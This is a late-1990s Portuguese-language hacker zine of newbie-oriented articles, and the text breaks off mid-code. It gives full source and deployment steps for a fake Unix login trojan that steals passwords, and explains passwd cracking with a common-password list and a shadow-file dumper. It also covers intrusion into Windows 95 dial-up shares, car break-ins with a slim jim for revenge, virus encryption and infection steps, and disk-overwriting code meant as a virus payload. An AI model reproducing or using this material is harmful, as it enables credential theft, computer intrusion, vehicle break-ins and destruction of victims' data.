Edicao 0 - Janeiro 1998



                        UHF   UHF    UHF   UHF    UHFUHFH
                       UHF   UHF    UHF   UHF    UHF
                      UHF   UHF    UHFUHFUHF    UHFUHF   
                     UHF   UHF    UHF   UHF    UHF                      
                     UHFUHFH     UHF   UHF    UHF 
  
                             UNIT HACKER FORCE
     _,o*`*o,,o*>  (Unidade de Forca Hacker)   <*o,,o*`*o,_         



.'.'.'.'.'.'.'.=-=-=-=-=-=-=-_UHF Zine N 0_-=-=-=-=-=-=-=-==-'.'.'.'.'.'.'.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


(Melhor visualizado pelo Edit, pico, vi etc...)


E-Mail: uhf@freemail.globalsite.com.br
Home Page: http://uhf.base.org



                    "Os computadores dominam o mundo,
                     nos dominamos os computadores,
                     Logo, dominaremos o Mundo"
                                                 'Ghost Invader [Ghostin]




ATENCAO: Nenhum integrante desta zine se responsabiliza pelo mau uso das
informacoes aqui contidas.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


INDICE
-=-=-=

1) INTRODUCAO.......................................Ghost Invader

2) UNIAO HACKER [Sera que existe mesmo?]..............Ghost Invader

3) COMO DESCOBRIR SENHAS [For Newbies]..............Ghost Invader

4) INVASAO POR IP [Metodo classico].........................BADgod

5) ANARQUIA [abrindo carros]...........................Ghost Invader

6) VIRII............................................Cebola

7) MANUAL LINUX..........................................Ghost Invader

8) IRC WAR..................................................Imapd

9) SITES RULEZ!!......................................Ghost Invader

10) MAILS DOS LEITORES.................................Ghost Invader

11) QUADRO DE AVISOS......................Ghost Invader

12) ULTIMATE...................................Ghost Invader
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


INTRODUCAO - by: Ghost Invader
-=-=-=-=-=-

Bom, de inicio de conversa eu gostaria de agradecer a vc, leitor, que resolveu
ler uma zine em vez de ficar falando "broa" no irc ou nukando alguem :)
Mas imagino o que vc deve estar pensando:
_Porra, mais uma zine?? 
Sim, mais uma zine. Com muito orgulho, para aumentar o prestigio do brasil
na area hacking no resto do mundo.
So que esta vai ser um pouco diferente das outras (nao que eu tenha alguma
coisa contra, pelo contrario, sou leitor assiduo da AXUR05, RWX, DTK, PHR etc...)
vamos tentar simplificar mais as coisas, e detalhar o que fazer exatamente na
hora da "acao", alem de discutir assuntos diversos da area.
Mas ai vc pensa de novo:
_Po, mas coisas detalhadas demais nao sao para lammers?
Nao, sao para newbies e hackers que querem assim como eu expandir seus conheci
mentos. Afinal, ninguem nasceu hacker, e com certeza vc eh, vai ser ou foi um
newbie ou um lammer um dia.
Bom, isso nao interessa, mas para economizar tempo e "bytes", abaixo vai o
indice da zine, esperamos que os assuntos desta edicao estejam satisfatorios,
ja que eh a primeira, e fica dificil saber o que vcs realmente querem,
por isso peco que escrevam para nos dandos sugestoes, criticas e comenta-
rios... well, sem mais enrolacao,
                                VERY FUN!!!!

'Ghost Invader [Ghostin]
                            

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


UNIAO HACKER - by: Ghost Invader
-=-=-=-=-=-=-


Um dia desses eu me deparei com um programa na tv que entrevistava
um chefe de segurana de comunicao (cujo nome nao me lembro agora), que
explicava sobre segurana nas empresas e internet.
Logo no assunto surgiu a palavra "hackers", que foi logo discutido entre
eles.
O chefe de seguranca explicou o perfil do hacker, e disse, que os mesmos se
reunem num mundo "underground", e formam uma grande nacao, que se unem, e
se ajudam entre si, tornando todos cada vez mais poderosos.
"e se ajudam entre si"??? Nao eh o que parece na maioria dos canais
#hackers nos irc servers brasileiros. Andei frequentado um desses e um dia
assisti uma prova de que esta faltando uniao e boa vontade entre os hackers
brasileiros. Um newbie (cujo o nick nao vou divulgar para nao causar
constragimento), entrou no canal e simplesmente perguntou:
__Como eu fao para descobrir o ip de alguem?
Um cara que estava no canal respondeu:
__Eh so digitar /quit nick_cara
Todos os outros confirmaram e o newbie acabou caindo do server, alem de
ter sido nukado depois. Ate que foi engracado mas fora da etica hacker.
Alem de outros casos que presenciei. Pode parecer bobagem mas eu acho isso
errado, ja que nos estamos todos aqui para um motivo, obter cada vez mais
conhecimento e poder sobre os simples mortais. Imaginem so quantos hackers
existem no mundo, e que se nos unissimos, o poder que teriamos??
Portanto eu peco a todos atraves desta zine, que nao guarde as informacoes
somente para voce, distribua conhecimento que vc com certeza sera
recompensado, vamos lotar os canais #hacker de todo o brasil e nos unir,
para obter mais conhecimento e cada vez mais poder.

                                              [Para descobrir o ip digite]
'Ghost Invader [Ghostin]                             /dns nick_cara
ghostin@freemail.globalsite.com.br


             UNIAO FAZ A FORCA, E EH A FORCA QUE NOS QUEREMOS
                                                     [Zine - UHB]


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


COMO DESCOBRIR SENHAS!!! (For Newbies) - by: Ghost Invader
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Em primeiro lugar eu queria informar que este texto eh para aqueles que
ainda nao sao hackers e que ainda nao sabem "como descobrir senhas",
portanto, espero nao receber mails dizendo "bah... que zine coco, isso eh pra
lammer" etc...
Bom, vamos ao que interessa, nao sei se o titulo esta legal mas acho que
vai se encaixar bem no que vou dizer abaixo.
Com certeza, o maior sonho de um newbie e ate de um lammer eh o dia em que
roubarao suas primeiras senhas, ou seja, se aproveitar da ingenuidade dos
outros pela primeira vez.
Mas nao existe apenas uma maneira de descobrir senhas, na verdade sao varias,
depende do tempo, do lugar, e da paciencia da pessoa.
Sao elas:


1) Seu amigo sempre digita a senha na casa dele perto de vc mas vc nunca
conseguiu ver?? (Considerando que ele esteja usando Windows)

Simples, para isso existe um programa chamado keycopy que grava todas as
digitacoes do seu "amigo" em um arquivo, bastando assim conferir depois.
Voce pode consegui-lo na nossa hp:
"http://uhf.base.org"
ou procurar por "keycopy" no http://www.astalavista.box.sk.
Depois de descompacta-lo, vc deve primeiro criar o diretorio "c:\>win",
onde sera gravado o arquivo com as digitacoes. Agora e soh executa-lo e
esperar ele digitar a senha.

-------------------[UHF]----


2) Voce esta num lugar que usa UNIX ou LINUX e quer pegar uma
senha como no metodo acima?

Existem programas (Trojan) que simulam a entrada de login do UNIX ou
LINUX e te pedem o login e a senha. Bom, o que ele faz mesmo eh esperar
que a vitima digite o login e a senha e manda para um arquivo oculto onde
voce especificar. Mas ai voce diz:
__O dono da senha nao vai desconfiar que eh um trojan quando ver que
digitou a senha e nao entrou no sistema?
Nao. Porque logo apos ele digitar o login e a senha o trojan da a
mensagem de erro "Login Incorrect" e vai chamar a tela original do
sistema, fazendo assim a vitima pensar que digitou a senha errada.
Abaixo vai um desses programas, criado pelo Skynet da RWX-ZINE

Obs: Voce deve mudar a mensagem de entrada de acordo com o sistema. Leia 
atentamente a fonte do programa e substitua o necessario.

Obs2: As senhas capturadas vao estar no diretorio "/tmp/.hack.pw" como
default.

--------------------------------[Corte aqui]---------------------------------

/*----------------------------------------------------------------------
 FILE:     loghack.c 
 VERSAO:   1.0
 SISTEMAS: Qualquer um na plataforma UNIX.
 FUNCAO  : Captura logins e senhas de usuarios numa maquina local.
                 					              
 By Skynet  20/08/97 
 ----------------------------------------------------------------------*/
#define PASSWORD "Password: "
#define LOGERR "\nLogin incorrect"
#define FILENAME "/tmp/.hack.pw" /* Aqui vc define o diretorio/arquivo que
                                    contera  as senhas */
#include <stdio.h>
#include <signal.h>

void stop ()
{
        return;
}
main()
{
char    login[10],                       
        password[10];           
int                                
  pid;                 
FILE    *fo;       /* Arquivo de saida*/

signal (SIGINT, stop);
pid = getppid();  /* atribui seu processo corrente */

for(;;)
{
        /*
         Aqui vai o que aparera na tela, esperando que ele de entrada no  
	 sistema e execute o Trojan.*/
         
      for (;;)
        {
                system("/usr/bin/clear");
      loop1:    
                printf( "\n\nWelcome to Linux 2.0.0.");
      loop2:
                printf("\n\ncyberdine login: ");
                gets (login);
          /* Humm... nao digitou nada? :) */
                if (strcmp (login, "") != 0)
                  break;
                  else     
                     goto loop1; 
         }
        system ("stty -echo > /dev/console"); /* Desabilita o echo para
                                                 entrar com a password*/
        printf(PASSWORD);
        scanf("%s",password);
        getchar();
        system ("stty echo > /dev/console");
        printf (LOGERR); 
        if ( ( fo = fopen(FILENAME,"a") )  != NULL )
        {
                fprintf(fo,"\nlogin %s  password: %s\n",login,password);
                fclose(fo);  /* crack! */
        }
  /* levando  em conta a possibilidade da pessoa errar ao digitar.
     Logins com menos de 3 caracteres sao provavelmente falsos, entao
     vamos permanecer no laco*/  
       if (strlen (login) >= 3)
                break;
        else
        goto loop2;
         }
       printf (LOGERR); 
      kill (pid,9); /*Mata o processo forcando o bin login original*/
}

------------------------------[Corte Aqui]--------------------------------

Agora, mande esse arquivo para alguma shell e compile.
cc -o loghack loghack.c 
Depois eh soh esperar a vitima digitar seu login e senha e conferir no
/tmp/.hack.pw (Lembrando que o arquivo esta oculto devido ao . no inicio,
e nao pode ser visto somente com um ls, use ls -a)
agora voce pode usar qualquer editor de texto para ve-lo ou dar um simples:
cat /tmp/.hack.pw

-------------------[UHF]-----


3) Voce quer descobrir uma senha manualmente?

Bom, primeiro voce deve ter muito tempo e MUITA paciencia para executar
este metodo.
Geralmente, as pessoas "comuns" costuman usar senhas faceis e pequenas
para facilitar o acesso e o armazenamento no seu cerebro inutil :))
Mas se voce realmente quer tentar, comece por: (considerando que vc
conhece bem a pessoa)

_O propio login
_Primeiro nome
_Sobrenome
_Primeira letra dos nomes juntas - ex: (Lammer Cunha da Silva = lcs)
_Telefone
_Numero da casa
_Senha do banco (O que vai ser dificil voce descobrir, hehe)


Mas vamos supor que voce nem conhece a pessoa e mesmo assim quer tentar,
comece por estas senhas que sao as mais usadas no brasil (Aproveite e insira
na sua wordlist)


god             
123
deus 
1234
senha
12345
123456 
login 
654321
mac 
54321
apple 
4321
brasil
321
asdfgh
palace
qwerty
mamonas
irc
zxcvbn 
senhas 
enter
romario 
cpu
senna
bebeto
bill
dede
password
didi
passwd
mengo
galo
timao
internet
brazil
net
rede
hacker
login
ibm
micros
msdos
win
windows

---------------------[UHF]---


4) Voce quer entrar num provedor e pegar as senhas??


ha... agora estamos falando de hacking.
Bom, vamos direto ao assunto, primeiro voce deve ter uma senha do provedor
e de preferencia com acesso telnet (As vezes da pra fazer alguma coisa por ftp) Pegue com alguem ou use os metodos citados acima.
O arquivo de senhas se chama PASSWD e fica dentro do diretorio /etc do sistema
UNIX.

Ex:
gustava:PGGuHWU5trTO2:1360:1000:Gustava ambrosia:970509:/home/1997:/bin/sh
beto:pOMTFKaijyskE:3633:1000:Roberto da silva:/home/beto:/bin/sh
branca:TW01XhXVu52Ws:2529:1000:Joana Maria jose:970710:/home/branca:/bin/sh
aams:aaJF1rXDQj2lQ:3834:1000:Antonio Augusto Murilo Silva:/home/aams:/bin/sh
joao:KdiLooPb:100:9:Joao carlos da silva:/home/joao:/bin/sh


Ele contem a seguinte estrutura: (Vou explicar somente o essencial)


 joao:KdiLooPb:100:9:Joao carlos da silva:/home/joao:/bin/sh
   |      |      |  |    |                   |           |__
   |      |      |  |    |                   |            7) Shell
   |      |      |  |    |           6) Diretorio HOME do usuario
   |      |      |  |    |
   |      |      |  |   5) Nome do usuario ou empresa
   |      |      | 4) GID
   |      |      |
   |      |    3) UID
   |      |
   |   2) Password encriptado
   |
 1) Login



1) Login: Este eh o login, usado para identificacao de cada usuario e
estrutura da conta de email.
Ex: joao@provedor.com.br


2) PASSWORD ENCRIPTADO: Hehe, essa eh a parte boa da historia. Eh aqui que
fica a password ou senha do usuario, soh que ela vem encriptada.(Usa uma
sequencia de numeros e caracteres para codificar a senha)


3) UID: Define o "poder" do usuario, ou seja, limita o usuario dentro do
sistema. O UID 0 eh o mais poderoso, pertence ao root que pode fazer qualquer
coisa no sistema. Geralmente o UID dos usuarios sao de 100 para cima.


4) GID: Quase a mesma coisa do UID, soh que este define o usuarios em grupos.


5) NOME: Aqui eh colocado o nome do usuario ou empresa dono do login. Tambem
eh usado para observacoes, comentarios etc...


6) DIRETORIO HOME DO USUARIO: Eh o diretorio no qual o usuario eh dono, poden
do criar arquivos etc...
Obs: Quando se usa ftp ou telnet voce cai no diretorio home do usuario.


7) SHELL: Shell do usuario. (Mais detalhado na proxima zine)



Agora que voce ja conhece a estrutura do PASSWD, voce deve estar pensando:
__Se a senha esta encriptada de que me adianta o PASSWD??
Eh, eh impossivel desencriptar uma senha, ja que cada sistema usa uma sequen
cia de caracteres diferentes.
Mas existem programas que ecriptam palavras de uma wordlist (Lista de Palavras)
e compara com a do PASSWD. Muito simples mas eficiente, vai depender mais
da sua wordlist.
Existem varios programas que fazem isso:
JACK14, KILLER CRACKER, BRUTE FORCE etc... (Todos para DOS)
Os mesmos podem ser encontrados na nossa hp:
http://uhf.base.org
ou em 90% das pages hackers brasileiras. (Inclusive as lammers hehe :))
Comece sua lista de palavras com as da nossa secao wordlist.


JACK14:
Para usar o jack eh simples (Lembrando que vou explicar soh o basico)
Quando voce digitar "jack" vai aparecer uma tela assim:


Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993, The Jackal, Denmark

PWfile(s) : PASSWD ---> aqui voce poe o nome do seu arquivo de senhas
Wordfile  : WLIST.TXT ---> aqui voce poe o nome do arquivo com  sua lista de
                           palavras


Agora eh so esperar que vai aparecendo os logins e as senhas desencriptadas.
As mesmas serao guardadas no arquivo JACK.POT.
Obs: O jack vem com parametros e alguns utilitarios que nao explicarei aqui,
mas tente descobrir voce mesmo.
Obs2: O jack so funciona em modo ms-dos, nao adianta abrir prompt pelo
windows.


KILLER CRACKER:
Para usar o KC eh quase a mesma coisa do jack14.
Soh que eu acho melhor porque ele funciona no prompt do windows, deixando
assim voce fazer outra coisa enquanto ele vai desencriptando.


Killer Cracker, Version 9.5
Copyright (C) 1991, By Doctor Dissector
Modifications by The Disk Jockey

PWfile : PASSWD ---> Aqui voce digita o nome do seu arquivo de senhas

Wordfile : WLIST.TXT ---> Aqui voce digita o nome da sua lista de palavras

Validfile : SENHAS.TXT ---> Aqui voce poe um nome qualquer de arquivo para
                            onde serao guardadas as senhas.



BRUTE FORCE:
Este eh um pouco diferente do jack e do kc. Este encripta somente uma palavra
que voce especificar, muito util quando voce acha que ja sabe uma das senhas.

use:
c:\fbrute passwd senha 
            |        |
            |        |_ _ _  Aqui voce digita a senha desejada
            |
      Aqui voce digita o nome do arquivo de senhas.
                     
                   
Se tudo der certo a senha e o login serao mostrados na tela, e em seguida
guardado no arquivo PWD-HITS

------------------[UHF]----

SHADOW:
Eu queria falar sobre um programa que esconde a senha encriptada dos usuarios
comuns, com o UID alto (100 pra cima).
Este programa eh chamado de shadow, geralmente ele eh usado por mais da
metade dos provedores que utilizam o sistema UNIX.

Ex:
  root:x:0:3:Superuser:/:
  daemon:x:1:1:System daemons:/etc:
  bin:x:2:2:Owner of system commands:/bin:
  sys:x:3:3:Owner of system files:/usr/sys:
  adm:x:4:4:System accounting:/usr/adm:
  uucp:x:5:5:UUCP administrator:/usr/lib/uucp:


No lugar da senha encriptada eh inserido um X ou * (depende do sistema),
sendo assim impossivel usar qualquer programa para descobrir a senha.
Geralmente ele fica no /etc/shadow mas isso varia de sistema e tambem nao
importa muito, ja que como usuario comum voce nao pode desativa-lo.
O que voce tem a fazer eh tentar usar um programa chamado UNSHAD.C, que
geralmente funciona, mas isto tambem depende do sistema.
Aqui vai uma copia deste programa:

--------------------------------[Corte Aqui]--------------------------------

     #include <pwd.h>

 

main ()

 

{

 struct passwd *p;

 

 while(p=getpwent ())

 

 printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,

  p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

 

}

--------------------------------[Corte Aqui]--------------------------------


Agora voce deve enviar ele para uma shell e compila-lo:
cc -o unshad unshad.c
Depois e soh executar:
unshad >> senhas.txt --> aqui voce digita o nome do arquivo que vai conter o
                         PASSWD sem shadow.

Agora o senhas.txt eh igual o PASSWD sem shadow como o metodo que citei mais
acima.

------------[UHF]----------


Eh, acho que agora voce deve ter aprendido alguma coisa com este texto,
ja que o fiz da forma mais detalhada possivel.
Qualquer duvida ou sugestao, mail-me


'Ghost Invader [Ghostin]
 ghostin@freemail.globalsite.com.br 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=-=-=-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-



INVASAO POR IP  : by BADgod
-=-=-=-=-=-=-=-



     Invadindo computadores que utilizam a Rede Dial-Up do Windows95
       -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
          -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-


Eu estava navengando pela net e encontrei esse arquivo em um ftp anonymo e no texto
original nao havia nenhuma identificacao sobre o autor, nem nick e nem nome, peguei
o texto e percebi que ele era meio confuso e entao organizei este texto para que haja
um maior compreendimento por parte dos leitores. Espero que gostem e aproveitem bas-
tante o material abaixo que sera comentado na proxima zine.


---------------inicio-----------

Voce usa a rede Dial-Up do Windows95 para fazer coneccao com a internet ?? Sim ??
Pode comecar a chorar entao porque voce esta correndo serio risco, a nao ser 
que voce tenha se connectado propositalmente, com intencao "variada". 

Usar uma coneccao PPP do Windows95 num provedor de acesso, significa estar
"entregando de mao beijada" seu computador a todos os usuahrio da internet que tenham
um pouco de conhecimento. Mesmo sem o compartilhamento de arquivos, existem diversas
ferramentas que permitem a outra pessoa conectar-se ao seu computador caso voce esteja
utilizando esse tipo de conexao. 


Passos para invadir um computador que utiliza a Rede Dial-up =-=-=-=-=-

	1 - Verifique antes, se voce possuios drivers clientes para redes Microsoft.
Caso nao estejam instalados, Va ate o Painel de Controle, no ihcone Redes e os intale.

	2 - Verifique se o compartimento de Arquivos e Impressoras estah instalado. (Se
estiver, voce estarah sujeito a outra pessoa conectetar-se ao seu computador simplesmente
sabendo seu IP. Se bem que, para aqueles que jah sabem, existem mil maneiras diferentes de 
se burlar a fraquinha seguranca do Windows95.)

	3 - Configure o WINS e o LMHOSTS. O WINS eh utilizado para localizar os computa-
dorescom IP fixo. O LMHOSTS, eh acionado automaticamente na procura decomputadores que 
possuem IP dinmicos. Configurar essas opcoes eh simples. Vah ao Painel de Controle e abra
Rede. Verifique as propriedades do protocolo TCP/IP. Alih voce encontrarah a opcao para 
ativar a resolucao WINS. No casode voce nao conhecer nenhum servidor WINS, utilize 
204.118.34.6 como primahrio e 204.118.34.11 como secundahrio. Esses servidoressao dos USA,
e gratuihtos. Caso queira outros enderecos, utilize um dos mecanismos de busca na Internet.
Para configurar o LMHOSTS, voce precisa criar um arquivo texto simples, utilizando-se
ate mesmo o Bloco de Notas do Windows. O arquivo criado deve chamar-se LMHOSTS. 
eh nesse arquivo que ficarao os enderecos de IP e os nomes dos computadores que voce
terah acesso. Para localizarum determinado computador, voce digita o seu nuhmero de IP
e a seguir seu NetBios, na mesma linha, separados por um espaco.Se voce executar o 
programa NBSTSTAT, seguido da opcao -N, voce obterah essa lista, com o nome e o IP de
seu computadorsempre sendo o primeiro da lista, seguido das outras mahquinas disponih-
veis,tudo numa janela DOS. Atravehs do Explorer voce poderahver os computadores dispo-
nihveis na rede,dos quais voce aindapoderah utilizar os discos mapeando-os, o que os 
tornarah unidadesde seu computador.  

 	4 - Conecte-se a Internet utilizandoa rede Dial-Up do Win95 (Se o seu provedor
nao disponibilizar uma coneccao do tipo PPP, estas dicas nao funcionarao.) E utilize 
tudo que o outro computador deixar para ver se a pessoa aprende que rede Dial-Up e' 
uma bosta.

-------------FIM-------------

NOTA: by GhOsTiN
-=-=-=-=-=-

Este texto ja esta rodando na net ah algum tempo e muitas pessoas ja o
conhecem, mas eu gostaria de coloca-lo nessa primeira edicao para que os
que nao leram refletirem sobre ele pois pedi ao BADgod que comenta-se
sobre ele na proxima zine, o problema eh que ele foi pra Nova Yorque,
mas se ele nao voltar a tempo pra proxima edicao eu mesmo escreverei :))


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


ANARQUIA - by: Ghost Invader 
-=-=-=-=-


OBS: Eu nao tenho nenhuma responsabilidade pelo mau uso destas informacoes,
ja que as mesmas podem ser usadas para fins legais.



Ja aconteceu de vc querer sacanear o carro daquele nerdzinho que roubou
sua namorada porque usa gravata e dirige ha 20 km???
Hehe, acho que a hora da sua vinganca chegou!!
Esta tecnica, conhecida como SLIM JIM foi utilizada com muita frequencia
no comeco dos anos 80 e por incrivel que pareca, ela funciona ate hoje porque
eh muito usada pela policia e ate por donos de carros que perdem suas chaves.
Bom, vamos ao que interessa.
Primeiro vc deve conseguir um pedaco de metal com uma parte cortada (ver fig)
Eh muito facil de se fazer em serralherias e as vezes ate de graca. Mas tome
cuidado no jeito que vc vai pedir, pois se o cara conhecer a tecnica certa-
mente vai desconfiar e cobrar uma cerveja para nao contar para a policia :))
Depois que arrumar o metal, procure o carro da vitima (de preferencia carros
velhos e com tranca de pino, claro) e enfie o metal perto do pino, entre o
vidro e a borracha protetora.



                             _______
                            |       |       
                            |       |       
                            |       |
                            |       |
                            |       |
                            |       |
                            |       |
                            |       |
                            |       |
                            |       |
                            |__     |
                               |    |
                               |    |
                               |    |
                             __|    |       
                  __        |       |     
                 (  )       |       |   
                  ||        |_______|     Esta ponta deve ser enfiada entre
                  ||                 <--- o vidro e a borracha
==================||=====================



Depois de enfiada a peca, vc deve tentar encaixar a parte do buraco em algum
trinco, que deve estar mais ou menos no rumo do pino.



                             _______
                            |       |       
                            |       |       
                            |       |
                            |       |
                            |       |
                            |       |
                            |       |
                       __   |       |
                      (  )  |       |
                       ||   |       |
=======================||===============
                       ||   |       |
                       ||   |__     |
                       ||_____ |    |
                       ||    / |    |
                       ||____\ |    |
                       ||    __|    |       
                            |       |         (Claro que o mecanismo nao eh
                            |       |          exatamente assim mas da pra
                            |_______|          entender)
                                     



Depois que vc sentir
que prendeu alguma coisa na peca, basta puxar para cima e BINGO, o pino
se levantara do outro lado do vidro, bastando assim, abrir a porta.
Lembrando que isso sempre funcionou em carros mais antigos, mas nada impede
de funcionar nos novos, se nao funcionar, quebre o vidro com um pe de cabra:))

Well, HAVE FUN!!!!!!!!!!!

'Ghost Invader [Ghostin]
ghostin@freemail.globalsite.com.br     

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[UHF]-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


VIRII  : by Cebola
-=-=-=-


        A, galera. Sou editor do zine Hack and Phreak e, a pedido do Ghost
Invader, resolvi dar uma contribuio a mais esse zine underground que
est surgindo. Espero que vocs continuem com esse zine galera, e no desistam
nunca. Dificuldades vo surgir, mas quando isso acontecer, podem recorrer
ao pessoal dos outros zines(o Hack and Phreak est sempre disposto a ajudar)
e faam um zine de qualidade!
        Bom, vamo deixa de babao de ovo e vamos ao zine. Pelo que entendi
do Ghost Invader, esse  mais um zine direcionado ao pessoal Newbie e ento
vamos comear com uma coisa mais simples, j que minhas idias tambm esto
meio limitadas, guardadas pro outro zine(hack and phreak).

Rotina para encriptao de dados
--------------------------------

        Vocs devem estar me perguntando: o que encriptao de dados tem a ver
com virii? Bom, vou lhes dizer: a estrutura mais usada de um virus  a seguin-
te:

|------------|    INFECO         |-----------|---------------------|    
|  original  |    --------->       |   VIRUS   | original encriptado |
|------------|                     |-----------|---------------------|

        Portanto, se voc quer fazere uma rotina para infeco de arquivos
.COM  melhor voc saber como fazer uma pequena rotina para encriptao de
dados. A seguir eu dou um source em Pascal de uma rotina criada por mim que
 bem simples, pequena e ajuda a encriptar o original em virus. Para desen-
criptar, a pessoa necessita do source do encriptador e sua chave de encrip-
tao(um nmero qualquer at 32000 que voc escolher).

-------------------------- ENCRIPT .PAS ---------------------------
Program encrypt_test;
uses crt;
var codigo: string;

procedure encrypt(var line : string; i : integer);
begin
  randseed := i;
  for i := 1 to length(line) do
    line[i] := chr(ord(line[i]) + random(10));
end;

procedure un_encrypt(var line : string;  i : integer);
begin
  randseed := i;
  for i := 1 to length(line) do
    line[i] := chr(ord(line[i]) - random(10));
end;

begin
  codigo:='cebola';
  encrypt(codigo,12000);
  writeln(codigo);
  un_encrypt(codigo,12000);
  writeln(codigo);
  readkey;

end.
  
----------------------  FIM do CODIGO -----------------------------


   Quando voc compilar esse cdigo, vai ver que a string "cebola" com a
string 12000 gera a string encriptada "hedqlb". Essa string s pode ser
desencriptada se voc usar o cdigo un_encript e fornecer a chave 12000.
Com outro cdigo, a string se transformar em uma coisa completamente dife-
rente de "cebola", como "dgfwas" por exemplo.
        Na infeco de um arquivo .com voc poder usar esse cdigo da seguin-
te forma:

        1: achar o arquivo a se infectar
        2: salvar seu source em variavel
        3: encriptar o source
        4: copiar o cdigo viral pro inicio do arquivo
        5: copiar o original encriptado pro final do arquivo

        Assim, seu arquivo infectado ficaria como o j citado:

|------------|    INFECO         |-----------|---------------------|    
|  original  |    --------->       |   VIRUS   | original encriptado |
|------------|                     |-----------|---------------------|

        Mais informaes e um exemplo completo de virus usando esse algortimo
de encriptao voc acha na prxima edio(n 03) da Hack and Phreak zine e
nas edies antigas vocs encontram alguns tutoriais tambm.

Absolute Disk Write:
--------------------

        Muitos tutoriais para criao de virus ensinam as rotinas de infeco
e outras assim, porm, nunca ensinam o que fazer para executar o virus no
dia da infeco. Por exemplo: voc fez um virus com data marcada de agir, mas
no sabe o que fazer. Uma das coisas bastante procuradas  formatar o HD todo,
ou ABSOLUTE DISK WRITE em ingls. Como isso em Assembly  facil, atravs da
INT 26 que  reservada para esse fim, vou dar o source em Pascal. No  um
programa,  uma UNIT que pode ser compilada e chamada em qualquer programa
seu. O source est em ingls porque eu peguei com um amigo extrangeiro e no
deu tempo de traduzir, j que o Ghost Invader me deu pouco tempo pra escrever
essa matria.

------------------------- Absolute DISK WRITE -----------------------------

unit Disk13IO;
  { direct disk I/O routines (Interrupt $13 services) }

interface

uses
  Crt,
  Dos;

type
  VStr = String[11];

var
  Disk13IOAttr : Byte;                 { display attribute for these services }


procedure ResetDrives(Drive : Byte);
  { reset drive system ($1300) }

function GetDiskStatus : Byte;
  { get results of last Int$13 operation ($1301) }

function ReadSectors(Quiet : Boolean; DType, Drive, Track, Side, SSect, NSect : Byte; var Buffer) : Boolean;
  { read absolute disk sectors ($1302) }

function WriteSectors(Quiet : Boolean; DType, Drive, Track, Side, SSect, NSect : Byte; var Buffer) : Boolean;
  { write absolute disk sectors ($1303) }

function VerifySectors(Quiet : Boolean; DType, Drive, Track, Side, SSect, NSect : Byte) : Boolean;
  { verify absolute disk sectors (CRC check) ($1304) }

function FormatDisk(DType, Drive, MaxBad : Byte; VLabel : VStr; Verify, ShowResults : Boolean) : Boolean;
  { format a floppy disk ($1305) }


implementation

type
  DiskRec = record
              SSZ,                     { sector size }
              SPT,                     { sectors/track }
              TPD,                     { tracks/disk }
              SPF,                     { sectors/FAT }
              DSC,                     { directory sectors }
              FID : Byte;              { format id for FAT }
              BRD : array[0..13] of Byte; { variable boot record data }
            end;

  DiskRecs = array[1..4] of DiskRec;

const
                             { BRD starts at offset 13 of FAT }
  DData : DiskRecs = ((SSZ : $02; SPT : $09; TPD : $27; SPF : $02; DSC : $07; FID : $FD;        { 5.25" - 360K }
                       BRD : ($02, $01, $00, $02, $70, $00, $D0, $02, $FD, $02, $00, $09, $00, $02)),
                             (SSZ : $02; SPT : $0F; TPD : $4F; SPF : $07; DSC : $0E; FID : $F9; { 5.25" - 1.2M }
                       BRD : ($01, $01, $00, $02, $E0, $00, $60, $09, $F9, $07, $00, $0F, $00, $02)),
                      (SSZ : $02; SPT : $09; TPD : $4F; SPF : $03; DSC : $07; FID : $F9;        { 3.50" - 720K }
                       BRD : ($02, $01, $00, $02, $70, $00, $A0, $05, $F9, $03, $00, $09, $00, $02)),
                      (SSZ : $02; SPT : $12; TPD : $4F; SPF : $09; DSC : $0E; FID : $F0;        { 3.50" - 1.44M }
